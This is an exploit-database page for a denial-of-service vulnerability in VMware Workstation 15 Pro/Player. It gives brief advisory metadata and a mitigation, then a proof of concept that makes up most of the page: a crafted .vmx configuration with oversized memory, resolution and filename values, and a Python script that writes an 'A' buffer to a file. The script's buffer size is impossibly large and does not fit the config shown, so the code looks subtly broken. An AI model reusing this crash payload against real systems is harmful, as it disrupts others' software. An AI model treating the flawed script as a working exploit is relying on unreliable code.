VMware Workstation 15 Pro - Denial of Service

vendor:

Workstation Pro/Player

by:

Milad Karimi

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: Workstation Pro/Player

Affected Version From: 15.x

Affected Version To: 15.x

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Pro and Windows 7 Pro (SP1)

2022

VMware Workstation 15 Pro – Denial of Service

A denial of service vulnerability exists in VMware Workstation Pro/Player 15.x due to improper validation of user-supplied input. An attacker can exploit this vulnerability by supplying a specially crafted ISO file to the application, resulting in a denial of service condition. This vulnerability affects Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 15 Pro (15.5.6 build-16341506).

Mitigation:

Upgrade to the latest version of VMware Workstation Pro/Player.

Source

Exploit-DB raw data:

#Title: VMware Workstation 15 Pro - Denial of Service
#Author: Milad Karimi
#Date: 2022-10-17
#Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 15 Pro (15.5.6 build-16341506)
#Affected: VMware Workstation Pro/Player 15.x


config.version = "8"
virtualHW.version = "4"
displayName = "credit's to Ex3ptionaL for find this vouln"
annotation = "Live CD ISO http://www.irongeek.com"
guestinfo.vmware.product.long = "credit's to Ex3ptionaL for find this vouln"
guestinfo.vmware.product.url = "http://www.millw0rm.com"
guestinfo.vmware.product.short = "LCDI"
guestinfo.vmware.product.version.major = "1"
guestinfo.vmware.product.version.minor = "0"
guestinfo.vmware.product.version.revision = "0"
guestinfo.vmware.product.version.type = "release"
guestinfo.vmware.product.class = "virtual machine"
guestinfo.vmware.product.build = "1.0.0rc8-20051212"
uuid.action = "create"
guestOS = "winxppro"
#####
# Memory
#####
memsize = "20000000000000"
# memsize = "300000000000000000000000000000"
# memsize = "400000000000000000000"
# memsize = "700000000000000000000000000000000000"
#
# Alternative larger memory allocations
#####
# USB
#####
usb.present = "TRUE"
#####
# Floppy
#####
floppy0.present = "FALSE"
#####
# IDE Storage
#####
ide1:0.present = "TRUE"
#Edit line below to change ISO to boot from
ide1:0.fileName = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.iso"
ide1:0.deviceType = "cdrom-image"
ide1:0.startConnected = "TRUE"
ide1:0.autodetect = "TRUE"
#####
# Network
#####
ethernet0.present = "TRUE"
ethernet0.connectionType = "nat"
# ethernet0.connectionType = "bridged"
#
# Switch these two to enable "Bridged" vs. "NAT"
#####
# Sound
#####
sound.present = "TRUE"
sound.virtualDev = "es1371"
sound.autoDetect = "TRUE"
sound.fileName = "-1"
#####
# Misc.
#
# (normal)  high
priority.grabbed = "high"
tools.syncTime = "TRUE"
workingDir = "."
#
# (16)  32  64
sched.mem.pShare.checkRate = "32"
#
# (32)  64  128
sched.mem.pshare.scanRate = "64"
#
# Higher resolution lockout, adjust values to exceed 800x600
svga.maxWidth = "8000000000000000000"
svga.maxHeight = "6000000000000000000"
#
# (F) T
isolation.tools.dnd.disable = "FALSE"
#
# (F) T
isolation.tools.hgfs.disable = "FALSE"
#
# (F) T
isolation.tools.copy.disable = "FALSE"
#
# (F) T
isolation.tools.paste.disable = "FALSE"
#
# (T) F
logging = "TRUE"
#
#
# (F) T
log.append = "FALSE"
#
# (3) number of older files kept
log.keepOld = "1"
#
# (0) microseconds
keyboard.typematicMinDelay = 100000000000000000
uuid.location = "56 4d f1 ae 7b ed fe a2-e2 0d 49 3d 6d 3c d4 4a"
uuid.bios = "56 4d f1 ae 7b ed fe a2-e2 0d 49 3d 6d 3c d4 4a"
ethernet0.addressType = "generated"
ethernet0.generatedAddress = "00:0c:29:3c:d4:4a"
ethernet0.generatedAddressOffset = "0"
checkpoint.vmState = "live-cd-iso.vmss"

tools.remindInstall = "TRUE"

Exploit code()

buffer = "A" * 118000000000000000
payload = buffer
try:
    f=open("PoC.vmx","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"